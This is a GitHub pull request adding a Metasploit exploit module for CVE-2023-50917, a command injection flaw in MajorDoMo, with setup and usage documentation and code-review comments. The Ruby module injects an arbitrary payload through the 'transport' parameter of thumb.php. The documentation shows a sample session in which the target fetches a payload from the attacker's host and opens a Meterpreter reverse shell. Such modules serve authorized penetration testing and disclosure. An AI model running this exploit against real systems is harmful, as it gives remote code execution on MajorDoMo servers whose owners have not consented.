New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add CVE-2023-50917: MajorDoMo Command Injection Module #18630
Changes from 2 commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,140 @@ | ||
## Vulnerable Application | ||
|
||
This module exploits a command injection vulnerability in MajorDoMo versions before 0662e5e. To set up a test environment: | ||
|
||
1. Download MajorDoMo by executing the following command: | ||
``` | ||
curl -s https://raw.githubusercontent.com/sergejey/majordomo-rpi-install/main/install.sh | bash && bash ~/majordomo-rpi-install/install.sh | ||
``` | ||
2. Follow the installation script instructions to install MajorDoMo on a Raspberry Pi or a Linux-based server. | ||
3. Ensure that the network interface is active and properly configured during installation. | ||
4. Replace `/var/www/html/modules/thumb/thumb.php` with | ||
https://raw.githubusercontent.com/sergejey/majordomo/1167ca408a911c98937000516588c12cc33a1ab7/modules/thumb/thumb.php. | ||
5. After installation, verify that the MajorDoMo service is operational and accessible over the network. | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Install MajorDoMo with a version prior to 0662e5e. | ||
2. Start msfconsole in your Metasploit environment. | ||
3. Do: `use exploit/linux/http/majordomo_cmd_inject_cve_2023_50917` | ||
4. Set the RHOSTS to the target IP address or hostname. | ||
5. Optionally set USERNAME and PASSWORD if the target is protected by HTTP Basic Authentication. | ||
6. Do: `run` | ||
7. If the target is vulnerable, the exploit will execute the specified payload. | ||
|
||
## Options | ||
|
||
Here are the specific options for the `exploit/linux/http/majordomo_cmd_inject_cve_2023_50917` module: | ||
|
||
### USERNAME (Optional) | ||
- **Description**: The HTTP Basic Authentication Username. | ||
- **Default Value**: None. | ||
|
||
### PASSWORD (Optional) | ||
- **Description**: The HTTP Basic Authentication Password. | ||
- **Default Value**: None. | ||
|
||
## Scenarios | ||
|
||
### Successful Exploitation against MajorDoMo x.x.x | ||
|
||
This scenario demonstrates exploiting MajorDoMo version x.x.x on a Linux server. | ||
|
||
**Environment**: | ||
- MajorDoMo x.x.x | ||
- Linux Server | ||
- Metasploit Framework | ||
|
||
**Expected Output**: | ||
|
||
``` | ||
msf6 > search majordomo | ||
|
||
Matching Modules | ||
================ | ||
|
||
# Name Disclosure Date Rank Check Description | ||
- ---- --------------- ---- ----- ----------- | ||
0 exploit/linux/http/majordomo_cmd_inject_cve_2023_50917 2023-11-15 normal Yes MajorDoMo Command Injection | ||
1 auxiliary/scanner/http/majordomo2_directory_traversal 2011-03-08 normal No Majordomo2 _list_file_get() Directory Traversal | ||
|
||
|
||
Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/http/majordomo2_directory_traversal | ||
|
||
msf6 > use 0 | ||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp | ||
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > options | ||
|
||
Module options (exploit/linux/http/majordomo_cmd_inject_cve_2023_50917): | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
PASSWORD no The HTTP Basic Authentication Password | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metas | ||
ploit/basics/using-metasploit.html | ||
RPORT 80 yes The target port (TCP) | ||
SSL false no Negotiate SSL/TLS for outgoing connections | ||
SSLCert no Path to a custom SSL certificate (default is randomly generated) | ||
TARGETURI / yes The URI path to MajorDoMo | ||
URIPATH no The URI to use for this exploit (default is random) | ||
USERNAME no The HTTP Basic Authentication Username | ||
VHOST no HTTP server virtual host | ||
|
||
|
||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an addr | ||
ess on the local machine or 0.0.0.0 to listen on all addresses. | ||
SRVPORT 8080 yes The local port to listen on. | ||
|
||
|
||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, | ||
WGET) | ||
FETCH_DELETE false yes Attempt to delete the binary after execution | ||
FETCH_FILENAME vGtfyMNwnp no Name to use on remote system when storing payload; cannot c | ||
ontain spaces. | ||
FETCH_SRVHOST no Local IP to use for serving payload | ||
FETCH_SRVPORT 8080 yes Local port to use for serving payload | ||
FETCH_URIPATH no Local URI to use for serving payload | ||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces | ||
. | ||
LHOST 192.168.1.5 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
|
||
|
||
Exploit target: | ||
|
||
Id Name | ||
-- ---- | ||
0 Automatic | ||
|
||
|
||
|
||
View the full module info with the info, or info -d command. | ||
|
||
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > set rhosts 192.168.1.18 | ||
rhosts => 192.168.1.18 | ||
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > exploit | ||
|
||
[*] Started reverse TCP handler on 192.168.1.5:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] Target is identified as MajorDoMo instance | ||
[+] The target is vulnerable. | ||
[*] Sending stage (3045380 bytes) to 192.168.1.18 | ||
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.18:37250) at 2023-12-20 00:22:52 +0100 | ||
|
||
meterpreter > sysinfo | ||
Computer : 192.168.1.18 | ||
OS : Debian 10.13 (Linux 4.19.0-25-amd64) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
``` |
Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
@@ -0,0 +1,107 @@ | ||||||||||||||||||||||||||||||||
## | ||||||||||||||||||||||||||||||||
# This module requires Metasploit: https://metasploit.com/download | ||||||||||||||||||||||||||||||||
# Current source: https://github.com/rapid7/metasploit-framework | ||||||||||||||||||||||||||||||||
## | ||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||
class MetasploitModule < Msf::Exploit::Remote | ||||||||||||||||||||||||||||||||
Rank = ExcellentRanking | ||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||
include Msf::Exploit::Remote::HttpClient | ||||||||||||||||||||||||||||||||
include Msf::Exploit::CmdStager | ||||||||||||||||||||||||||||||||
prepend Msf::Exploit::Remote::AutoCheck | ||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||
def initialize(info = {}) | ||||||||||||||||||||||||||||||||
super( | ||||||||||||||||||||||||||||||||
update_info( | ||||||||||||||||||||||||||||||||
info, | ||||||||||||||||||||||||||||||||
'Name' => 'MajorDoMo Command Injection', | ||||||||||||||||||||||||||||||||
'Description' => %q{ | ||||||||||||||||||||||||||||||||
This module exploits a command injection vulnerability in MajorDoMo | ||||||||||||||||||||||||||||||||
versions before 0662e5e. | ||||||||||||||||||||||||||||||||
}, | ||||||||||||||||||||||||||||||||
'Author' => ['Valentin Lobstein'], # Vulnerability discovery and Metasploit Module | ||||||||||||||||||||||||||||||||
'License' => MSF_LICENSE, | ||||||||||||||||||||||||||||||||
'References' => [ | ||||||||||||||||||||||||||||||||
['CVE', '2023-50917'], | ||||||||||||||||||||||||||||||||
['URL', 'https://github.com/Chocapikk/CVE-2023-50917'], | ||||||||||||||||||||||||||||||||
['URL', 'https://chocapikk.com/posts/2023/cve-2023-50917'], | ||||||||||||||||||||||||||||||||
['URL', 'https://github.com/sergejey/majordomo'] # Vendor URL | ||||||||||||||||||||||||||||||||
], | ||||||||||||||||||||||||||||||||
'DisclosureDate' => '2023-12-15', | ||||||||||||||||||||||||||||||||
'Notes' => { | ||||||||||||||||||||||||||||||||
'Stability' => [ CRASH_SAFE ], | ||||||||||||||||||||||||||||||||
'SideEffects' => [ IOC_IN_LOGS ], | ||||||||||||||||||||||||||||||||
'Reliability' => [ REPEATABLE_SESSION ] | ||||||||||||||||||||||||||||||||
}, | ||||||||||||||||||||||||||||||||
'Platform' => ['unix', 'linux'], | ||||||||||||||||||||||||||||||||
'Arch' => [ARCH_CMD], | ||||||||||||||||||||||||||||||||
'Targets' => [['Automatic', {}]], | ||||||||||||||||||||||||||||||||
'Privileged' => false | ||||||||||||||||||||||||||||||||
) | ||||||||||||||||||||||||||||||||
) | ||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||
register_options([ | ||||||||||||||||||||||||||||||||
Opt::RPORT(80), | ||||||||||||||||||||||||||||||||
OptString.new('TARGETURI', [true, 'The URI path to MajorDoMo', '/']), | ||||||||||||||||||||||||||||||||
OptString.new('USERNAME', [false, 'The HTTP Basic Authentication Username']), | ||||||||||||||||||||||||||||||||
OptString.new('PASSWORD', [false, 'The HTTP Basic Authentication Password']) | ||||||||||||||||||||||||||||||||
smcintyre-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||||||||||||||||||||||||||||
]) | ||||||||||||||||||||||||||||||||
end | ||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||
def send_request_with_auth(uri, method: 'GET', vars_get: {}, vars_post: {}) | ||||||||||||||||||||||||||||||||
user = datastore['USERNAME'] | ||||||||||||||||||||||||||||||||
pass = datastore['PASSWORD'] | ||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||
unless user.to_s.empty? || pass.to_s.empty? | ||||||||||||||||||||||||||||||||
credentials = Rex::Text.encode_base64("#{user}:#{pass}") | ||||||||||||||||||||||||||||||||
auth_headers = { 'Authorization' => "Basic #{credentials}" } | ||||||||||||||||||||||||||||||||
end | ||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||
send_request_cgi({ | ||||||||||||||||||||||||||||||||
'uri' => uri, | ||||||||||||||||||||||||||||||||
'method' => method, | ||||||||||||||||||||||||||||||||
'headers' => auth_headers, | ||||||||||||||||||||||||||||||||
'vars_get' => vars_get, | ||||||||||||||||||||||||||||||||
'vars_post' => vars_post | ||||||||||||||||||||||||||||||||
}) | ||||||||||||||||||||||||||||||||
end | ||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||
smcintyre-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||||||||||||||||||||||||||||
def majordomo? | ||||||||||||||||||||||||||||||||
favicon_uri = normalize_uri(datastore['TARGETURI'], 'favicon.ico') | ||||||||||||||||||||||||||||||||
res = send_request_with_auth(favicon_uri) | ||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||
if res.nil? || res.code != 200 | ||||||||||||||||||||||||||||||||
print_error('Cannot verify if target is MajorDoMo') | ||||||||||||||||||||||||||||||||
false | ||||||||||||||||||||||||||||||||
elsif Rex::Text.md5(res.body) == '08d30f79c76f124754ac6f7789ca3ab1' | ||||||||||||||||||||||||||||||||
print_good('Target is identified as MajorDoMo instance') | ||||||||||||||||||||||||||||||||
true | ||||||||||||||||||||||||||||||||
else | ||||||||||||||||||||||||||||||||
print_error('Target might not be MajorDoMo') | ||||||||||||||||||||||||||||||||
false | ||||||||||||||||||||||||||||||||
end | ||||||||||||||||||||||||||||||||
end | ||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This is only used in
Suggested change
|
||||||||||||||||||||||||||||||||
def exploit | ||||||||||||||||||||||||||||||||
send_request_with_auth( | ||||||||||||||||||||||||||||||||
normalize_uri(datastore['TARGETURI'], 'modules', 'thumb', 'thumb.php'), | ||||||||||||||||||||||||||||||||
method: 'GET', | ||||||||||||||||||||||||||||||||
vars_get: { | ||||||||||||||||||||||||||||||||
'url' => Rex::Text.encode_base64('rtsp://'), | ||||||||||||||||||||||||||||||||
'debug' => '1', | ||||||||||||||||||||||||||||||||
'transport' => "|| $(#{payload.encoded});" | ||||||||||||||||||||||||||||||||
} | ||||||||||||||||||||||||||||||||
) | ||||||||||||||||||||||||||||||||
end | ||||||||||||||||||||||||||||||||
smcintyre-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||
def check | ||||||||||||||||||||||||||||||||
return CheckCode::Unknown unless majordomo? | ||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||
uri = normalize_uri(datastore['TARGETURI'], '3rdparty', 'threejs', 'Detector.js') | ||||||||||||||||||||||||||||||||
res = send_request_with_auth(uri) | ||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||
return CheckCode::Unknown if res.nil? | ||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||
res.code == 200 ? CheckCode::Vulnerable : CheckCode::Safe | ||||||||||||||||||||||||||||||||
end | ||||||||||||||||||||||||||||||||
smcintyre-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||||||||||||||||||||||||||||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You've included this but you're not actually use it. You should either remove it or use it.